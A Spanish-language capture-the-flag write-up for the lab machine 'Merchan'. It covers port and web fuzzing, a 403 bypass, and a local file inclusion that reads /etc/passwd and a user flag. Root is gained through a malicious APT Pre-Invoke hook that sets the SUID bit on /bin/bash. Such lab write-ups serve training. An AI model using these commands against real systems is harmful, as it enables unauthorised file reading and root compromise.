Write-ups

Resolución del CTF Merchan


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Detectamos SSH (22/tcp) y un servicio web HTTP (80/tcp) que redirige a un virtual host.

Web

Accedemos al servicio HTTP y resolvemos el virtual host configurando el dominio localmente. El contenido inicial no expone funcionalidad directa, por lo que procedemos a enumerar subdominios y recursos.

ffuf -u 'http://merchan.thl/' -H 'Host: FUZZ.merchan.thl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --fw=18

Únicamente se identifica el subdominio www. Continuamos con enumeración de directorios y archivos.

feroxbuster --url http://merchan.thl/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x js,txt,zip --filter-status 404,400,503

Localizamos un archivo secret.js, el cual se encuentra ofuscado.

Explotación Web

Tras deofuscar el contenido de secret.js, observamos que genera dinámicamente un enlace hacia un archivo PHP con nombre aleatorio.

curl http://merchan.thl/secret.js

El enlace apunta a 2e81eb4e952a3268babddecad2a4ec1e.php. El acceso directo devuelve un error 403, que logramos evadir añadiendo una barra final y un encabezado Referer.

curl -H 'Referer: http://merchan.thl/' http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php/

La respuesta es vacía, por lo que procedemos a realizar fuzzing de parámetros para detectar funcionalidad oculta.

ffuf -u 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -H 'Referer: http://merchan.thl/' --fs=0

Identificamos el parámetro file, vulnerable a lectura arbitraria de archivos.

curl -H 'Referer: http://merchan.thl/' 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?file=/etc/passwd'

Confirmamos la vulnerabilidad LFI. A partir de la enumeración de directorios de usuarios, localizamos el directorio personal de julia y accedemos a su archivo de usuario.

curl -H 'Referer: http://merchan.thl/' 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?file=/home/julia/user.txt'

Obtenemos la credencial del usuario y accedemos al sistema por SSH.

ssh [email protected]

Escalada de privilegios

El usuario no dispone de permisos sudo. Enumeramos el sistema en busca de vectores locales y detectamos que el directorio /etc/apt/apt.conf.d es escribible.

ls -ld /etc/apt/apt.conf.d

APT carga automáticamente los archivos de este directorio durante la ejecución de apt update. Aprovechamos este comportamiento para inyectar una directiva maliciosa.

echo 'APT::Update::Pre-Invoke {"chmod +s /bin/bash";};' > /etc/apt/apt.conf.d/pwn

Tras la ejecución automática de una actualización del sistema, verificamos que /bin/bash tiene el bit SUID activo.

ls -l /bin/bash

Ejecutamos bash con privilegios elevados y accedemos al archivo de root.

bash -p
cat /root/root.txt

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *